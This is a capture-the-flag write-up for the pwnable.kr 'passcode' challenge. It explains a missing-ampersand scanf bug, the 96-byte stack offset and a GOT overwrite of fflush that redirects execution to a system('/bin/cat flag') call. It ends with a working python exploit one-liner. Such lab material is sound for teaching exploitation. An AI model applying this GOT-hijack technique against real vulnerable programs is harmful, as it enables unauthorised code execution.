Pwnable.kr: Passcode Writeup (GOT Hijack)
May 04, 2026Vulnerability Analysis
We will start the basic analysis of the first scanf call in the login function, and we can see here:
push DWORD PTR[ebp-0x10]
lea eax, [ebx-0x1fe5]
push eax
call 0x80490d0 <__isoc99_scanf@plt>
So, we understand from here that scanf is taking the value inside [ebp-0x10] instead of its address.
This happens because the source code was written as scanf("%d", passcode1) without the & before passcode1, so it just writes to the address that is the value of passcode1.
Memory Layout & The Stack Frame
After that, we need to see where we can control [ebp-0x10]. If we look at the welcome function just before it, we can see here:
lea eax, [ebp-0x70]
push eax
lea eax,[ebx-0x1f8b]
push eax
call 0x80490d0 <__isoc99_scanf@plt>
That the name buffer starts at [ebp-0x70]. Because welcome and login are called one after the other, they share the exact same stack frame.
The distance between name and passcode1 is 0x70 - 0x10 = 0x60 (96 in decimal). We are reading 100 bytes into name, so we have exactly 4 bytes to overwrite passcode1.
Exploitation Strategy (GOT Hijack)
Right after the scanf, we call to fflush:
push eax
call 0x8049060 <fflush@plt>
We can then write the address of the system call to the GOT address of fflush using passcode1, and then when we call fflush we will jump to our code that calls system. From objdump, we know the GOT address for fflush is 0x0804c014.
And after that, we have the code that prints the flag:
0x0804928f <+153>: sub esp,0xc
...
0x080492c4 <+206>: call 0x80490a0 <system@plt>
This code executes system("/bin/cat flag"), so we need to jump exactly to 0x0804928f.
So, we need to write the value 0x0804928f (the system call address) to the address 0x0804c014 (the address of fflush in the GOT).
Also because scanf reads an int, we need to convert 0x0804928f to decimal, which is 134517391.
The Final Exploit
So, we need to have exactly 96 bytes of padding to reach the passcode1 offset, and then 4 bytes of the fflush’s GOT address.
Then, when the program asks for input for passcode1, we give it our target system call address in decimal.
The final payload is:
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*96+(0x0804c014).to_bytes(4,"little")); print(134517391)' | ./passcode